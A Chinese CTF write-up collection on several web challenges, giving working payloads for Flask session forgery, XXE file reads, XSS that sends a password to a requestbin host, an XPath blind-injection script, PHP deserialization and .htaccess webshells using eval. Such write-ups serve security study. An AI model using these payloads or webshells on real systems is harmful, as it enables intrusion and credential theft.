[CISCN2019 华东南赛区]Web4 一开始以为是ssrf,发现使用local_file://可以读取文件
import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str(random.random()*233 ) app.debug = True @app.route('/') def index (): session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read') def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag (): if session and session['username' ] == 'fuck' : return open('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
修改session为fuck即可,所以伪造session即可,但是没有爆破出密码,发现源码里面的key
random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233)
local_file:///sys/class/net/eth0/address 读取mac地址
然后计算得到key
flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '99.2806389887'
[GoogleCTF2019 Quals]Bnv 有源码,看到xml,想到xxe攻击,记得改一下报文头为xml,然后发送了一下测试的报文,发现有不一样的回显了
root and DTD name do not match 'root' and 'xxe', line 5, column 6
发现找不到DTD,于是在下面定一下
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE message [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///D://phpStudy//WWW//aa.txt">]> <message>&xxe;</message>
此时回显,
Failure to process entity xxe, line 7, column 15
也就说无法正常读取,也就是说他需要一个内部的DTD文件,
https://mohemiv.com/tags/xxe/
在block-post中也提到,Linux设备可能在/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd中有一个DTD文件。并且这个文件又一个名为ISOamsa的实体,所以我们可以使用它来写DTD代码。现在我们来制作DTD代码。
最终payload
<?xml version="1.0"?> <!DOCTYPE message[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
还有一件事是由于DTD代码有一些破坏XML的字符,所以需要他们进行这样的编码
[GWCTF 2019]mypassword 登录进去以后,看到有个反馈框,想到xss,查看源码,发现关键字替换为空,双写即可
if (document.cookie && document.cookie != '') { var cookies = document.cookie.split('; '); var cookie = {}; for (var i = 0; i < cookies.length; i++) { var arr = cookies[i].split('='); var key = arr[0]; cookie[key] = arr[1]; } if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ document.getElementsByName("username")[0].value = cookie['user']; document.getElementsByName("password")[0].value = cookie['psw']; } }
可以看到username和password已经载入表单当中了,只要将他们外带就行了利用http://http.requestbin.buuoj.cn/18v8ark1?inspect这个平台即可实现
<incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://http.requestbin.buuoj.cn/18v8ark1/?a="+psw; </scrcookieipt>
[NPUCTF2020]ezlogin xpath的sql盲注
https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/#%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8
xpath注入攻击 XPath是一种在XML文档中查找目标信息的语言,可以用来在XML文档中对元素和属性进行遍历。XPath使用路径表达式来选取XML文档中的节点或节点集。
在XPath中,有七种类型的节点:元素、属性、文本、命名空间、处理指令、注释以及文档(根)节点。XML 文档是被作为节点树来对待的。树的根被称为文档节点或者根节点。
Xpath和Xquery语法:
“nodename” – 选取nodename的所有子节点
“/nodename” – 从根节点中选择
“//nodename” – 从当前节点选择
“..” – 选择当前节点的父节点
“child::node()” – 选择当前节点的所有子节点
“@” -选择属性
“//user[position()=2] “ 选择节点位置
万能密码 在知道用户名的情况下,可以直接admin’ or ‘1’=’1,由于没有注释符,所以只能用引号进行闭合,
不知道用户名的强狂下,可以使用两个or
?name=fake' or '1'or'1&pwd=fake
使用|操作符(用于计算两个节点)
?name=1']|//*|ss['&pwd=fake 其中//*用于列出文档所有元素 ']|//*|//*[' 该payload用于访问xml文档的所有节点
盲注 xpath盲注步骤 1.判断根节点下的节点数 2.判断根节点下节点长度&名称 3.重复猜解完所有节点,获取最后的值
‘ or count(/)=1 or ‘1
判断有几个根节点
‘ or string-length(name(/*[1]))=1 or ‘1
获取根节点长度
‘ or substring(name(/*[1]), 1, 1)=’a’ or ‘1
获取内容
通过测试发现,当’ or count(/)=1 or ‘1时,返回非法操作,如果为2,则为账号密码错误,所以存在布尔盲注,所根节点数为1,接下来判断根节点下的节点数
import requestsimport stringimport reimport randomimport jsons = requests.session() strs='abcdefghijklmnopqrstuvwxyzABCDEFZHIJKLMNOPQRSTUVWKYZ1234567890' headers = {'Content-Type' :'application/xml' } param='<input type="hidden" id="token" value="(.*?)" />' t='' for i in range(1 ,50 ): for j in strs: url = 'http://10506bbe-96d3-4ebf-99ca-6fddf8972f8a.node4.buuoj.cn:81/login.php' token=re.findall(param,s.get(url).text)[0 ] data = f"<username>' or substring(/root/accounts/user[2]/password/text(), {i} , 1)='{j} ' or '1</username><password>123</password><token>" + token + "</token>" print(data) r= s.post(url=url,headers=headers,data=data).text print(r) if '非法操作' in r: t += j print(t) break if j==0 : exit()
[极客大挑战 2020]Greatphp <?php error_reporting(0 ); class SYCLOVER { public $syc; public $lover; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5($this ->syc) === md5($this ->lover)) && (sha1($this ->syc)=== sha1($this ->lover)) ){ if (!preg_match("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match)){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } if (isset ($_GET['great' ])){ unserialize($_GET['great' ]); } else { highlight_file(__FILE__ ); } ?>
md5和sha1加密后相等,但是本身值不等, 这里就要拓宽思路,本身的值可以是什么?当然还可以是错误信息之类的。而这里也是用到了这个php的报错内置类导致回显结果相等
<?php class SYCLOVER { public $syc; public $lover; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5($this ->syc) === md5($this ->lover)) && (sha1($this ->syc)=== sha1($this ->lover)) ){ if (!preg_match("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match)){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } $str = "?><?=include~" .urldecode("%D0%99%93%9E%98" )."?>" ; $a=new Error ($str,1 );$b=new Error ($str,2 ); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo (urlencode(serialize($c))); ?>
[XNUCA2019Qualifier]EasyPHP 这里一看就知道是要使用htaccess进行绕过了。。。
但是其实自己还没做过这样的题,积累一下姿势
利用error_log写入log文件到/tmp/fl3g.php,再设置include_path=/tmp即可让index.php能够包含我们想要的文件。这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。 php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs" php_value error_reporting 32767 php_value error_log /tmp/fl3g.php # \
直接写入执行命令
php_value auto_prepend_fi\ le ".htaccess" #<?php @eval($_GET['cmd']); ?>\
如上指令需要经过urlencode一下
filename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20%22.htaccess%22%0A%23%3C%3fphp%20%40eval(%24_GET[%27cmd%27])%3b%20%3f%3E\ %70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%3c%3f%70%68%70%20%65%63%68%6f%20%60%63%61%74%20%66%2a%60%3b%20%3f%3e%5c
payload
?filename=.htaccess&content=php_value%20include_path%20%22%2Ftmp%2Fxx%2F%2BADw%3Fphp%20die(eval(%24_GET%5B2%5D))%2BADs%20%2BAF8AXw-halt%2BAF8-compiler()%2BADs%22%0Aphp_value%20error_reporting%2032767%0Aphp_value%20error_log%20%2Ftmp%2Ffl3g.php%0A%23%20%5C
非预期解
import requests # %23 是# 的url编码,防止python把自己注释了 # \\ , 两个\\上传上去就是 一个 \ content = '''php_value auto_prepend_fi\\ le ".htaccess" %23<?php eval($_POST[cmd]);?>\\''' url = "http://203dd3ff-f703-4233-b159-93832d5b93b3.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content) res = requests.get(url=url) print(res.url) print(res.text)